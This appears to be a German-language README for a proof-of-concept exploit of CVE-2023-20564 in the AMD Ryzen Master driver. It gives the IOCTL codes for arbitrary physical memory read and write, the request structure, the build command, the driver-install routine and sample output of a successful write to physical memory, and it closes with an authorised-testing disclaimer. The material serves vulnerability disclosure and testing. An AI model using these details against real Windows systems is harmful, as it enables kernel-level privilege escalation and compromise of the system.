
Proof-of-Concept-Exploit für CVE-2023-20564, der beliebiges Lesen/Schreiben von physischem Speicher über IOCTL-Handler des AMD Ryzen Master Treibers demonstriert und eine Privilegieneskalation unter Windows ermöglicht.
Dieses Repository enthält einen Proof of Concept (PoC), der die Schwachstelle CVE-2023-20564 im AMD Ryzen Master Treiber demonstriert. Die Schwachstelle ermöglicht es nicht privilegierten Benutzern, beliebigen physischen Speicher zu lesen und zu beschreiben, was zu einer möglichen Privilegieneskalation und Systemkompromittierung führt.
Der AMD Ryzen Master Treiber (AMDRyzenMasterDriverV17.sys) enthält eine unzureichende Validierung in seinen IOCTL-Handlern, insbesondere:
0x81112F08 – Erlaubt das Lesen beliebiger physischer Speicheradressen0x81112F0C – Erlaubt das Schreiben auf beliebige physische SpeicheradressenDer Treiber validiert nicht ausreichend:
Dadurch können bösartige Anwendungen:
AMDRyzenMasterDriverV17.sys – Die verwundbare Treiberdatei# manually
g++ -std=c++17 poc_demo.cpp -o poc_demo.exe -ladvapi32
typedef struct _AMDReadStructure {
LARGE_INTEGER PhysAddr; // Physical address to read
LARGE_INTEGER SizeAndData; // Size and data buffer
CHAR Buffer[1]; // Variable data buffer
} AMDReadStructure, *PAMDReadStructure;
ReadPhysicalMemory() – Aus physischem Speicher lesenWritePhysicalMemory() – In physischen Speicher schreibenTestReadWriteVerify() – Vollständige TestsequenzInstallDriverService() – TreiberinstallationStopAndRemoveDriverService() – Treiberbereinigung===========================================
AMD Ryzen Master Driver - Memory PoC
===========================================
[*] Installing and starting driver service...
[+] Driver file found
[+] Service created successfully
[+] Service started successfully
[*] Initializing driver connection...
[+] Driver connection established successfully
[!] TESTING READ/WRITE/VERIFY SEQUENCE
[STEP 1] Reading original data...
[*] Reading 8 bytes from physical address 0x100000
[*] PHYSICAL MEMORY READ SUCCESS!
Read 8 bytes from 0x100000
Data: 4D 5A 90 00 03 00 00 00
[STEP 2] Writing test data...
[*] Writing 8 bytes to physical address 0x100000
Data: DE AD BE EF CA FE BA BE
[*] PHYSICAL MEMORY WRITE SUCCESS!
Wrote 8 bytes to 0x100000
[STEP 3] Verifying written data...
[*] Reading 8 bytes from physical address 0x100000
[*] PHYSICAL MEMORY READ SUCCESS!
Data: DE AD BE EF CA FE BA BE
[*] DATA VERIFICATION SUCCESS! Write/Read works correctly!
Der verwundbare Treiber stellt zwei Haupt-IOCTLs bereit:
Lesen von physischem Speicher (0x81112F08)
Schreiben in physischen Speicher (0x81112F0C)
Denk dran: Dieses Tool ist ausschließlich für autorisierte Sicherheitstests bestimmt. Holen Sie immer die entsprechende Genehmigung ein, bevor Sie Tests an einem System durchführen.